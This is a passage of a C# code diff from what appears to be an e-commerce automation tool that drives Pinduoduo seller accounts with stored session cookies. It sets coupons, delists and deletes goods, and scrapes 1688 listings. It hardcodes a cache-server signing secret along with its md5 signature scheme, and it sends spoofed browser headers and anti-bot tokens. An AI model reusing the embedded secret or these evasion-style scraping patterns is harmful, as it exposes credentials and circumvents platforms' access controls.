+ ",\"coupon_start_time\":\"" + couponStartTime + "\",\"coupon_end_time\":\""
+ couponEndTime + "\",\"discount\":" + discount * 100
+ ",\"init_quantity\":" + couCount + "}]";
html = api.CreateGoodExtension(units);
if (html.Contains("不可重复设置"))
continue;
if (html.Contains("调用过于频繁"))
{
Thread.Sleep(3 * 1000);
html = api.CreateGoodExtension(units);
}
count++;
if (html.Contains("error_msg"))
{
string errorMsg = BaseRegex.GetStringJson(ref html, "error_msg");
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = goodsId;
p.jinbaoCount = JinBaoSpread.couCount;
p.jinbaoAmount = JinBaoSpread.discount;
p.Message = errorMsg;
jinBaoTempProduct.Add(p);
}
else
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = goodsId;
p.jinbaoCount = JinBaoSpread.couCount;
p.jinbaoAmount = JinBaoSpread.discount;
p.Message = "推广成功";
jinBaoTempProduct.Add(p);
}
//Thread.Sleep(10 * 1000);
}
}
public void GetSetGoodCoupon()
{
if (!jinBaoDelProduct.ContainsKey(Shop.ShopName))
return;
var jinbaolst = jinBaoDelProduct[Shop.ShopName];
PinduoduoApiGetProduct api = new PinduoduoApiGetProduct(Shop);
for (int i = 0; i < jinbaolst.Count; i++)
{
//string url = "https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon";
//string refere = "https://mms.pinduoduo.com/jinbao/promotion/index";
//api.Data.Clear();
//api.Data.Add("batch_desc", "设置优惠券");
//api.Data.Add("batch_start_time", couponStartTime);
//api.Data.Add("batch_end_time", couponEndTime);
//api.Data.Add("discount", (discount * 100).ToString());
//api.Data.Add("init_quantity", couCount.ToString());
//api.Data.Add("user_limit", "1");
//api.Data.Add("goods_id", goodsId.ToString());
//string html = api.CreateProCoupon();
//if (html.Contains("不可重复设置"))
// continue;
//LogSave.Add(Name, goodsId + "正在生成优惠券");
//long batch_id = BaseRegex.GetLongJson(ref html, "batch_id");
//if (batch_id <= 0)
// continue;
long goodsId = jinbaolst[i].GoodsId;
long goodsPrice = (long)(jinbaolst[i].Price * 1000);
string url = "https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon";
string refere = "https://mms.pinduoduo.com/jinbao/promotion/create?from=nogoods";
int randx = new Random(Guid.NewGuid().GetHashCode()).Next(000000, 999999);
string data = "{\"minOrderAmount\":0,\"couponDesc\":\"" + randx + "\",\"couponStartTime\":\"" + couponStartTime
+ "\",\"couponEndTime\":\"" + couponEndTime
+ "\",\"discount\":" + discount * 1000 + ",\"initQuantity\":" + couCount + ",\"userLimit\":1,\"goodsPrice\":" + goodsPrice
+ ",\"goodsId\":" + goodsId + "}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
{
Thread.Sleep(2 * 1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (!html.Contains("\"success\":true"))
continue;
}
long couponId = BaseRegex.GetLongJson(ref html, "batchId");
url = "https://mms.pinduoduo.com/cps/api/coupon/use";
refere = "https://mms.pinduoduo.com/jinbao/promotion/index";
data = "{\"goodsId\":" + goodsId + ",\"couponId\":" + couponId + ",\"type\":1}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
LogSave.Add(Name, jinbaolst[i].GoodsId + "正在设置优惠券");
if (!html.Contains("\"success\":true"))
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.UseShopName = Shop.Name;
p.jinbaoCount = JinBaoSpread.couCountx;
p.jinbaoAmount = JinBaoSpread.discountx;
p.GoodsId = jinbaolst[i].GoodsId;
p.Message = "设置优惠券失败";
jinBaoTempProduct.Add(p);
}
else
{
TaobaoProductBase p = new TaobaoProductBase();
p.ShopName = Shop.ShopName;
p.GoodsId = jinbaolst[i].GoodsId;
p.UseShopName = Shop.Name;
p.jinbaoCount = JinBaoSpread.couCountx;
p.jinbaoAmount = JinBaoSpread.discountx;
p.Message = "设置优惠券成功";
jinBaoTempProduct.Add(p);
}
Thread.Sleep(5*1000);
}
}
}
public class GoodRate
{
public string shopName = "";
public string UseShopName = "";
public string goodId = "";
public string rate = "";
public string error = "";
}
}
File diff suppressed because it is too large. Load diff
+80
View File
@@ -0,0 +1,80 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using AllBase;
namespace Work.CollectClass
{
public class LoadCloudData
{
/// <summary>
/// 过滤标题词
/// </summary>
public static List<string> NoTitleWord = new List<string>();
/// <summary>
/// 过来品牌词
/// </summary>
public static List<string> NoBrand = new List<string>();
/// <summary>
/// 加载云词
/// </summary>
public void Get()
{
string url = BaseClass.LoginApiUrl + "taobao/筛选词.txt";
string path = "temp/notitleword.tjm";
string html;
if (FileBase.Exists(path))
html = FileBase.ReadAllText(path, Encoding.Default);
else
{
html = GetHtml.Utf8(url);
FileBase.WriteAllText(path, html, Encoding.Default);
}
if (string.IsNullOrEmpty(html))
{
LogSave.Add("链接云数据库失败");
return;
}
string[] l = html.Split('\n');
for (int i = 0; i < l.Length; i++)
{
string s = l[i].Trim();
if (string.IsNullOrEmpty(s) || s.Length < 2)
continue;
string num = BaseRegex.GetMatchRegexString(ref s, @"([\d]+)");
if (!string.IsNullOrEmpty(num) && num.Length == s.Length)
continue;
NoTitleWord.Add(s);
}
url = BaseClass.LoginApiUrl + "taobao/品牌词.txt";
path = "temp/nobrand.tjm";
if (FileBase.Exists(path))
html = FileBase.ReadAllText(path, Encoding.Default);
else
{
html = GetHtml.Utf8(url);
FileBase.WriteAllText(path, html, Encoding.Default);
}
if (string.IsNullOrEmpty(html))
{
LogSave.Add("链接云数据库失败");
return;
}
l = html.Split('\n');
for (int i = 0; i < l.Length; i++)
{
string s = l[i].Trim();
if (string.IsNullOrEmpty(s) || s.Length < 2)
continue;
string num = BaseRegex.GetMatchRegexString(ref s, @"([\d]+)");
if (!string.IsNullOrEmpty(num) && num.Length == s.Length)
continue;
NoBrand.Add(s);
}
}
}
}
+9
View File
@@ -0,0 +1,9 @@
using System.Collections.Generic;
using System.Threading;
using AllBase;
using Work.Api;
using System;
namespace Work.CollectClass
{
}
+164
View File
@@ -0,0 +1,164 @@
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using AllBase;
using NaiBa.Util.Extension;
using Newtonsoft.Json.Linq;
namespace Work.CollectClass
{
public class PermissionBLL
{
public async Task<TData<List<KeyValueBase>>> GetModuleList()
{
//http://new.qixiaoke.com/?obj=pinbaobao/nav_group_list&cid=18816&uid=103234&key=936746136&time=1593587666&code=09EC59F354BE1341654C3C7E218931B9
string url = BaseClass.BuildObjString("nav_group_list");
string data = UserLogin.GetSignaturex();
string html = await PostAsync(new HttpParam { Url = url, PostData = data });
//html = HtmlHelper.UnicodeDecode(html);
html=GetHtml.UrlDecode(html);
TData<List<KeyValueBase>> obj = new TData<List<KeyValueBase>>();
if (html.Equals("null"))
{
obj.Tag = 0;
return obj;
}
JObject jObj = JObject.Parse(html);
if (jObj["list"] != null)
{
obj.Result = new List<KeyValueBase>();
foreach (var item in jObj["list"])
{
obj.Result.Add(new KeyValueBase(item["module"].ParseToString(), item["enable"].ParseToString()));
}
obj.Tag = 1;
}
return obj;
}
public static async Task<string> PostAsync(HttpParam httpParam)
{
try
{
HttpWebRequest request = GetHttpWebRequest(httpParam);
request.Method = "Post";
request.ServicePoint.Expect100Continue = false;
byte[] postDataByte = Encoding.UTF8.GetBytes(httpParam.PostData);
request.ContentLength = postDataByte.Length;
request.AllowAutoRedirect = false;
using (Stream requestStream = await request.GetRequestStreamAsync())
{
requestStream.Write(postDataByte, 0, postDataByte.Length);
}
return await ReadResponseAsync(httpParam, (HttpWebResponse)request.GetResponse());
}
catch
{
return string.Empty;
}
}
public static HttpWebRequest GetHttpWebRequest(HttpParam param)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(param.Url);
if (param.Proxy != null)
{
request.Proxy = param.Proxy;
}
if (!string.IsNullOrEmpty(param.UserAgent))
{
request.UserAgent = param.UserAgent;
}
else
{
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36";
}
if (!string.IsNullOrEmpty(param.Accept))
{
request.Accept = param.Accept;
}
else
{
request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
}
if (string.IsNullOrEmpty(param.AcceptLanguage))
{
request.Headers.Add("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8");
}
else
{
request.Headers.Add("Accept-Language", param.AcceptLanguage);
}
if (!string.IsNullOrEmpty(param.ContentType))
{
request.ContentType = param.ContentType;
}
else
{
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
}
if (!string.IsNullOrEmpty(param.Referer))
{
request.Referer = param.Referer;
}
request.Headers.Remove("Cookie");
if (!string.IsNullOrEmpty(param.Cookie))
{
request.Headers.Add("Cookie", param.Cookie);
}
if (param.Header != null)
{
foreach (KeyValuePair<string, string> header in param.Header)
{
request.Headers.Add(header.Key, header.Value);
}
}
if (param.Timeout > 0)
{
request.Timeout = param.Timeout;
}
else
{
request.Timeout = 60 * 1000;
}
return request;
}
public static async Task<string> ReadResponseAsync(HttpParam httpParam, HttpWebResponse response)
{
using (Stream stream = DecompressStream(response))
{
using (StreamReader streamReader = new StreamReader(stream, httpParam.ResponseEncoding))
{
return await streamReader.ReadToEndAsync();
}
}
}
public static Stream DecompressStream(HttpWebResponse response)
{
Stream responseStream = response.GetResponseStream();
Stream stream = null;
if (response.ContentEncoding.ToLower().Contains("gzip"))
{
stream = new GZipStream(responseStream, CompressionMode.Decompress);
}
else if (response.ContentEncoding.ToLower().Contains("deflate"))
{
stream = new DeflateStream(responseStream, CompressionMode.Decompress);
}
if (stream == null)
{
return responseStream;
}
else
{
return stream;
}
}
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+38
View File
@@ -0,0 +1,38 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.CollectClass
{
public class PinduoduoRelation
{
/// <summary>
/// 拼多多商品id(要关联的拼多多商品id)
/// </summary>
public long? goods_id { get; set; }
/// <summary>
/// 外部平台商品id
/// </summary>
public string out_goods_id { get; set; }
/// <summary>
/// 外部平台商品最低价,单位:分
/// </summary>
public long? out_low_goods_price { get; set; }
/// <summary>
/// 外部平台商品最高价,单位:分
/// </summary>
public long? out_high_goods_price { get; set; }
/// <summary>
/// 外部平台枚举值, 0-淘宝/天猫 ,1-京东,2-1688,3-唯品会,4-苏宁,5-亚马逊,6-网易,
/// 8-微店,9-网商园,10-蘑菇街,11-vvic搜款网,12-搜鞋网,13-一起做网店17zwd,14-杭州女装网,
/// 15-折800,16-当当,17-青创网,18-开山网,19-新款网
/// </summary>
public int? source_type { get; set; }
/// <summary>
/// 邮费
/// </summary>
public long? postage { get; set; }
}
}
+278
View File
@@ -0,0 +1,278 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
using Work.ManageClass;
namespace Work.CollectClass
{
public class ProductCheckControl
{
public string Name;
public static int threadCount = 5;
public static bool Running = false;
public static int goodCount = 0;
public static bool isCount = false;
public static int start = 0;
public static int end = 0;
public static string pid = "";
public static List<KeyValueBase> dicShopCount = new List<KeyValueBase>();
public static List<ProductCheckDetail> ShopProductCheckDetailList = new List<ProductCheckDetail>();
public static List<ProductCheckDetail> ShopProductCheckDetailList2 = new List<ProductCheckDetail>();
public static List<ProductStaus> ProductStatusList = new List<ProductStaus>();
public ProductCheckControl(string name)
{
Name = name;
}
public void Get()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectProductCheck || shop.Message == "会话已过期")
continue;
var p = new ProductCheckDetailLogic(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.Get), threadCount);
Thread.Sleep(1000);
}
Threadx.ThreadListWait(ref ts);
}
public void Off()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectProductCheck || shop.Message == "会话已过期")
continue;
var p = new ProductCheckDetailLogic(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.Off), threadCount);
Thread.Sleep(1000);
}
Threadx.ThreadListWait(ref ts);
}
public void Del()
{
List<Thread> ts = new List<Thread>();
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectProductCheck || shop.Message == "会话已过期")
continue;
var p = new ProductCheckDetailLogic(Name, shop);
Threadx.ThreadListWait(ref ts, new Thread(p.Del), threadCount);
Thread.Sleep(1000);
}
Threadx.ThreadListWait(ref ts);
}
}
public class ProductCheckDetailLogic
{
public string Name;
public ShopChatBase Shop;
public int count;
public ProductCheckDetailLogic(string Name, ShopChatBase Shop)
{
this.Name = Name;
this.Shop = Shop;
}
public void Off()
{
var api = new PinduoduoApiGetProduct(Shop);
string html = api.SetOnline(long.Parse(ProductCheckControl.pid), false);
if (!html.Contains("\"is_success\":true"))
{
Thread.Sleep(2000);
html = api.SetOnline(long.Parse(ProductCheckControl.pid), false);
}
ProductStaus status = new ProductStaus();
status.goodId = ProductCheckControl.pid;
if (html.Contains("\"is_success\":true"))
{
status.OffStatus = "下架成功";
ProductCheckControl.ProductStatusList.Add(status);
LogSave.Add(Name, ProductCheckControl.pid + "下架成功");
}
else
{
status.OffStatus = "下架失败";
ProductCheckControl.ProductStatusList.Add(status);
LogSave.Add(Name, ProductCheckControl.pid + "下架失败");
}
}
public void Del()
{
string url = "https://mms.pinduoduo.com/plutus/api/plutus/bin/goods/delete/batch";
string refere = "http://mms.pinduoduo.com/Pdd.html";
string data = "{\"goods_ids\":[" + ProductCheckControl.pid + "],\"mall_id\":" + Shop.MallId + ",\"creator\":\"" + Shop.ShopName + "\",\"creator_id\":" + Shop.ReceiverId + "}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
if (html.Contains("商品仍在售"))
{
Off();
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
}
ProductStaus status = new ProductStaus();
status.goodId = ProductCheckControl.pid;
if (html.Contains("\"success\":true"))
{
status.DelStatus = "删除成功";
ProductCheckControl.ProductStatusList.Add(status);
LogSave.Add(Name, ProductCheckControl.pid + "删除成功");
}
else
{
status.DelStatus = "删除失败";
ProductCheckControl.ProductStatusList.Add(status);
LogSave.Add(Name, ProductCheckControl.pid + "删除失败");
}
}
public void Get()
{
GetAllOnlineCount();
int sub = ProductCheckControl.end - ProductCheckControl.start + 1;
string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"order_by\":\"id:asc\",\"is_onsale\":1,\"size\":"+sub+",\"page\":#page#,\"mall_id\":" + Shop.MallId + "}";
string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());
//GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data.Replace("#page#", "1"), Shop.Cookies);
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());
}
int allCount = BaseRegex.GetIntJson(ref html, "total");
if (allCount< ProductCheckControl.start)
{
LogSave.Add(Name, "当前店铺最大在线商品数量为 " + allCount+",请停止操作下一步按钮");
return;
}
//int page = allCount / 100 + (allCount % 100 > 0 ? 1 : 0);
//if (page > 1000)
//{
// page = 1000;
//}
int i = ProductCheckControl.end / sub;
if (i > 1)
{
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i).ToString()), CpsSetAllGoods.getAnti0aon());
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i).ToString()), CpsSetAllGoods.getAnti0aon());
}
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", (i).ToString()), CpsSetAllGoods.getAnti0aon());
}
}
var m = BaseRegex.GetMatchRegex(ref html, @"\{([\w\W]+?)\},[\w\W]+?\}");
for (int j = 0; m != null && j < m.Count; j++)
{
while (ProductCheckControl.Running)
{
Thread.Sleep(3000);
continue;
}
string list = m[j].Groups[0].Value;
ProductCheckDetail p = new ProductCheckDetail();
p.goodId = BaseRegex.GetStringJson(ref list, "id");
if (string.IsNullOrEmpty(p.goodId))
continue;
p.goodName = BaseRegex.GetStringJson(ref list, "goods_name");
string urlx = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/on_shop/detail";
string datax = "{\"goods_id\":" + p.goodId + "}";
string htmlx = GetPostTaobaoHtml.GetJsonPost(urlx, "", true, datax, Shop.Cookies);
string temp = BaseRegex.GetMatchRegexString(ref htmlx, @"""carousel_gallery"":\[(.*?)\]");
var mc = BaseRegex.GetMatchRegex(ref temp, @"""url"":""([^""]+?)""");
for (int k = 0; k < mc.Count; k++)
{
string imgx = mc[k].Groups[1].Value.Replace("@750w_1l_50Q", "");
if (imgx.Contains("?"))
imgx = imgx.Substring(0, imgx.IndexOf("?"));
p.imgUrlList.Add(imgx);
}
for (int q = 0; q < p.imgUrlList.Count; q++)
{
byte[] img;
try
{
GetPostTaobaoHtml.DownLoadImage(p.imgUrlList[q], out img);
if (img==null)
{
Thread.Sleep(2000);
GetPostTaobaoHtml.DownLoadImage(p.imgUrlList[q], out img);
}
using (Stream stream = new MemoryStream(img))
{
p.imagePdd[q] = Image.FromStream(stream, true);
stream.Close();
stream.Dispose(); //释放占用资源
}
p.imglist.Add(img);
}
catch
{
}
}
System.GC.Collect();//垃圾回收
if (!ProductCheckControl.ShopProductCheckDetailList.Exists(pt => pt != null && pt.goodId == p.goodId))
{
ProductCheckControl.ShopProductCheckDetailList.Add(p);
ProductCheckControl.ShopProductCheckDetailList2.Add(p);
count++;
LogSave.Add(Name, "获取在线产品 " + p.goodId);
}
else
{
}
}
}
public void GetAllOnlineCount()
{
int mallId = Shop.MallId;
string cookies = Shop.Cookies, shopName = Shop.ShopName;
string url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"order_by\":\"id:desc\",\"is_onsale\":1,\"size\":100,\"page\":#page#,\"mall_id\":" + mallId + "}";
string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());
if (string.IsNullOrEmpty(html) || !html.Contains("total"))
{
Thread.Sleep(30 * 1000);
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, Shop.Cookies, data.Replace("#page#", "1"), CpsSetAllGoods.getAnti0aon());
}
int allCount = BaseRegex.GetIntJson(ref html, "total");
KeyValueBase pair = new KeyValueBase (Shop.ShopName,allCount.ToString());
ProductCheckControl.dicShopCount.Add(pair);
}
}
public class ProductCheckDetail
{
public string goodId = "";
public string goodName = "";
public List<string> imgUrlList = new List<string>();
public List<byte[]> imglist=new List<byte[]>();
public Image[] imagePdd = new Image[10];
}
public class ProductStaus
{
public string goodId = "";
public string OffStatus = "";
public string DelStatus = "";
}
}
@@ -0,0 +1,88 @@
using System.Collections.Generic;
using System.Threading;
using AllBase;
using Work.Api;
namespace Work.CollectClass
{
public class SearchKeywordByAlibaba
{
public static string OrderString = "va_tbprofit&descendOrder=true";
public static List<string> ShopNames = new List<string>();
public static List<long> Ids = new List<long>();
public string Name, Keyword = "";
public SearchKeywordByAlibaba(string name)
{
Name = name;
}
public void GetKeyword(string keyword, ref int webCursor)
{
string refere = "https://s.1688.com/selloffer/offer_search.htm?priceStart=" + CollectKeywordByTaobao.MinPrice + "&priceEnd=" +
CollectKeywordByTaobao.MaxPrice + "&quantityBegin=2&sortType=" + OrderString + "&uniqfield=pic_tag_id&keywords=" +
GetHtml.UrlEncodeGb2312(keyword) + "&from=taoSellerSearch&n=y";
List<Thread> ts = new List<Thread>();
for (int i = 1; i <= CollectKeywordByTaobao.PageTop; i++)
{
string url = "https://s.1688.com/selloffer/rpc_async_render.jsonp?startIndex=0&keywords=" +
GetHtml.UrlEncodeGb2312(keyword) +"&n=y&pageSize=60&sortType=" + OrderString
+ "&from=taoSellerSearch&rpcflag=new&async=true&filt=y&priceStart=" + CollectKeywordByTaobao.MinPrice +
"&templateConfigName=taoSearchOfferresultModule&enableAsync=true&quantityBegin=2&qrwRedirectEnabled=false&asyncCount=20&_pageName_=taoSellerSearch&priceEnd=" +
CollectKeywordByTaobao.MaxPrice + "&offset=8&uniqfield=pic_tag_id&beginPage=" + i;
string html = GetPostTaobaoHtml.GetUrl(url, refere, false, "");
html = html.Replace("\\n", " ").Replace("\\\"", "\"").Replace("\\/", "/").Replace("\\'", "'");
var m = BaseRegex.GetMatchRegex(ref html, @"<li[^>]+t-rank=""([\d]+)""(.+?)</div>[\s]*</div>[\s]*</li>");
if (m == null || m.Count == 0)
{
Thread.Sleep(30 * 1000);
continue;
}
for (int j = 0; m != null && j < m.Count; j++)
{
while (CollectKeywordByTaobao.Running && CollectKeywordByTaobao.Waiting)
Thread.Sleep(100);
if (!CollectKeywordByTaobao.Running)
return;
string list = m[j].Groups[0].Value;
if (!list.Contains("一件代发"))
continue;
string id = BaseRegex.GetMatchRegexString(ref list, @"com/offer/([\d]+)\.html");
if (string.IsNullOrEmpty(id) )
continue;
string title = BaseRegex.GetMatchRegexString(ref list, @"title=""([^']+?)""");
ProductCollectBase product = new ProductCollectBase();
product.from_id = long.Parse(id);
product.from_title = title;
product.from_name = title;
product.from_url = "https://detail.1688.com/offer/" + product.from_id + ".html";
string sold = BaseRegex.GetMatchRegexString(ref list, @"近30天成交([\d]+)");
if (string.IsNullOrEmpty(sold))
sold = BaseRegex.GetIntJson(ref list, "tbMonthSales").ToString();
if (string.IsNullOrEmpty(sold))
sold = BaseRegex.GetMatchRegexString(ref list, @"<div class=""s-widget-oswtd-row-a"">([\d]+)件</div>");
product.saleCount = string.IsNullOrEmpty(sold) ? 0 : int.Parse(sold);
string price = BaseRegex.GetMatchRegexString(ref list, @"""¥[ ]*([\d\.]+?)""");
product.price = string.IsNullOrEmpty(price) ? 0 : decimal.Parse(price);
TaobaoProductBase t = new TaobaoProductBase();
t.FromId = product.from_id;
t.Titlte = product.from_title;
t.FromType = "阿里巴巴";
t.Price = product.price;
t.SaleCount = product.saleCount;
t.MainImage = CollectKeywordByTaobao.MainImageCut;
if (t.Price < CollectKeywordByTaobao.MinPrice || t.Price > CollectKeywordByTaobao.MaxPrice || t.SaleCount < CollectKeywordByTaobao.MinSale || t.SaleCount > CollectKeywordByTaobao.MaxSale)
continue;
FromTitleToCat ft = new FromTitleToCat();
ft.TaobaoProduct = t;
Threadx.ThreadListWait(ref ts, new Thread(ft.Get), 8);
Thread.Sleep(5 * 1000);
}
Thread.Sleep(10 * 1000);
}
}
}
}
+370
View File
@@ -0,0 +1,370 @@
using System;
using System.Collections.Generic;
using System.Text;
using AllBase;
using System.IO;
using System.Linq;
using System.Threading;
namespace Work.CollectClass
{
public class ServerTemp
{
/// <summary>
/// 获取服务器缓存
/// </summary>
/// <param name="siteId">来源网站</param>
/// <param name="pid">商品ID</param>
/// <param name="canUse">缓存是否可用</param>
/// <returns></returns>
public static string Get(int siteId, string pid, out bool canUse)
{
canUse = false;
if (siteId == -1)
pid = "key-" + pid;
else if (siteId == 1)
pid = "tb-" + pid;
else if (siteId == 2)
pid = "pd-" + pid;
else if (siteId == 3)
pid = "al-" + pid;
else if (siteId == 4)
pid = "wd-" + pid;
else if (siteId == 5)//京喜商品的前缀约定为:jx-
pid = "jx-" + pid;
else if (siteId == 6)
pid = "dy-" + pid;
//string domain = "t3.1n11.com"; //domain = "t1.taojinhu.com:6788";
//Random rd = new Random();
//var iR = rd.Next(1, 100);
//if (iR > 35)
string domain = "temp-new1.taojinhu.com:10019";
bool first = true;
Again:
string url = "https://" + domain + "/cache.php?id=" + pid;
string data = UserLogin.GetSignaturex();
//获取服务器加密
long timeStamp;
string getCse = CacheService(pid, out timeStamp);
if (!string.IsNullOrEmpty(getCse))
{
url += "&csign=" + getCse + "&tsign=" + timeStamp;
}
string html = GetHtml.Utf8(url, 20);
if (string.IsNullOrEmpty(html) && first)
{
first = false;
domain = "t3.1n11.com";
goto Again;
}
if (string.IsNullOrEmpty(html) || html.Length < 10 || html == "none" || html == "out time")
return "";
string date = BaseRegex.GetMatchRegexString(ref html, @"([\d]{4}-[\d]{2}-[\d]{2})");
if (string.IsNullOrEmpty(date))
return "";
DateTime time;
if (!DateTime.TryParse(date, out time))
return "";
if (time.AddDays(14) > BaseClass.GetServerTimeString()) //time.AddDays(7)
canUse = true;
if (time.AddDays(180) > BaseClass.GetServerTimeString() && pid.Contains("content")) //time.AddDays(7)
canUse = true;
return html;
}
/// <summary>
/// 获取淘宝服务器缓存
/// </summary>
/// <param name="siteId">来源网站</param>
/// <param name="pid">商品ID</param>
/// <param name="canUse">缓存是否可用</param>
/// <returns></returns>
public static string GetTaoBao(int siteId, string pid, out bool canUse)
{
canUse = false;
if (siteId == -1)
pid = "key-" + pid;
if (siteId == 1)
pid = "tb-" + pid;
if (siteId == 2)
pid = "pd-" + pid;
if (siteId == 3)
pid = "al-" + pid;
//string domain = "t3.1n11.com"; //domain = "t1.taojinhu.com:6788";//备用
//Random rd = new Random();
//var iR = rd.Next(1, 100);
//if (iR > 35)
string domain = "temp-new1.taojinhu.com:10019";
bool first = true;
Again:
string url = "https://" + domain + "/cache.php?id=" + pid;
//获取服务器加密
long timeStamp;
string getCse = CacheService(pid, out timeStamp);
if (!string.IsNullOrEmpty(getCse))
{
url += "&csign=" + getCse + "&tsign=" + timeStamp;
}
string html = GetHtml.Utf8(url, 20);
if (string.IsNullOrEmpty(html) && first)
{
first = false;
domain = "t3.1n11.com";//tempx.1n11.com
goto Again;
}
if (string.IsNullOrEmpty(html) || html.Length < 10 || html == "none" || html == "out time" || html == "error time" || html == "error code")
return "";
string date = BaseRegex.GetMatchRegexString(ref html, @"([\d]{4}-[\d]{2}-[\d]{2})");
if (string.IsNullOrEmpty(date))
return "";
DateTime time;
if (!DateTime.TryParse(date, out time))
return "";
if (time.AddDays(7) > BaseClass.GetServerTimeString())//time.AddDays(7)
canUse = true;
if (time.AddDays(180) > BaseClass.GetServerTimeString() && pid.Contains("content")) //time.AddDays(7)
canUse = true;
return html;
}
public static bool Set(int siteId, string pid, string content)
{
if (siteId == -1)
pid = "key-" + pid;
else if (siteId == 1)
pid = "tb-" + pid;
else if (siteId == 2)
pid = "pd-" + pid;
else if (siteId == 3)
pid = "al-" + pid;
else if (siteId == 4)
pid = "wd-" + pid;
else if (siteId == 5)
pid = "jx-" + pid;
else if (siteId == 6)
pid = "dy-" + pid;
string domain = "t3a.1n11.com";
string domainx = "temp-new1.taojinhu.com:10018";
byte[] contentByte = Encoding.UTF8.GetBytes(content);
string url = "https://" + domain + "/cache.php?act=savex&id=" + pid;
string urlx = "https://" + domainx + "/cache.php?act=savex&id=" + pid;
//获取服务器加密
long timeStamp;
string getCse = CacheService(pid, out timeStamp);
if (!string.IsNullOrEmpty(getCse))
{
url += "&csign=" + getCse + "&tsign=" + timeStamp;
urlx += "&csign=" + getCse + "&tsign=" + timeStamp;
}
string html = GetHtml.RequestImg(url, contentByte);
html = GetHtml.RequestImg(urlx, contentByte);
return html == "ok";
}
//密码 = 当前月份(202003)+ dfhjew&*4<>.,/-=+~`8sazfhy&6544#^fdg/DfgJSB
//签名变量csign算法 = md5(密码 + 时间戳(秒)+ $id(例子:tb-main-123456)+ 密码)
private static string EncryptionPassword = "dfhjew&*4<>.,/-=+~`8sazfhy&6544#^fdg/DfgJSB";
public static string CacheService(string ProductId, out long time)
{
string NewEncryptionPassword = BaseClass.GetServerTimeString().ToString("yyyyMM") + EncryptionPassword;
time = BaseClass.DateTimeToTimestampSeconds(DateTime.Now) + BaseClass.TimeDifferent;
if (string.IsNullOrEmpty(ProductId))
{
return "";
}
string csign = "";
csign = Md5Base.GetMd5(NewEncryptionPassword + time + ProductId + NewEncryptionPassword).ToLower();
return csign;
}
/// <summary>
/// 获取微店缓存上家数据
/// </summary>
/// <param name="upProduct"></param>
/// <returns></returns>
public static List<Tuple<string, int, int>> GetWeiDianCache(ProductCollectBase upProduct)
{
var mappingResultWd = new List<Tuple<string, int, int>>();
string tagStr = "vd";
string vdHtml = "";
string fromStr = "";
if (upProduct.from_site_id == 1)
fromStr = "tb-";
if (upProduct.from_site_id == 3)
fromStr = "al-";
else if (upProduct.from_site_id == 2)
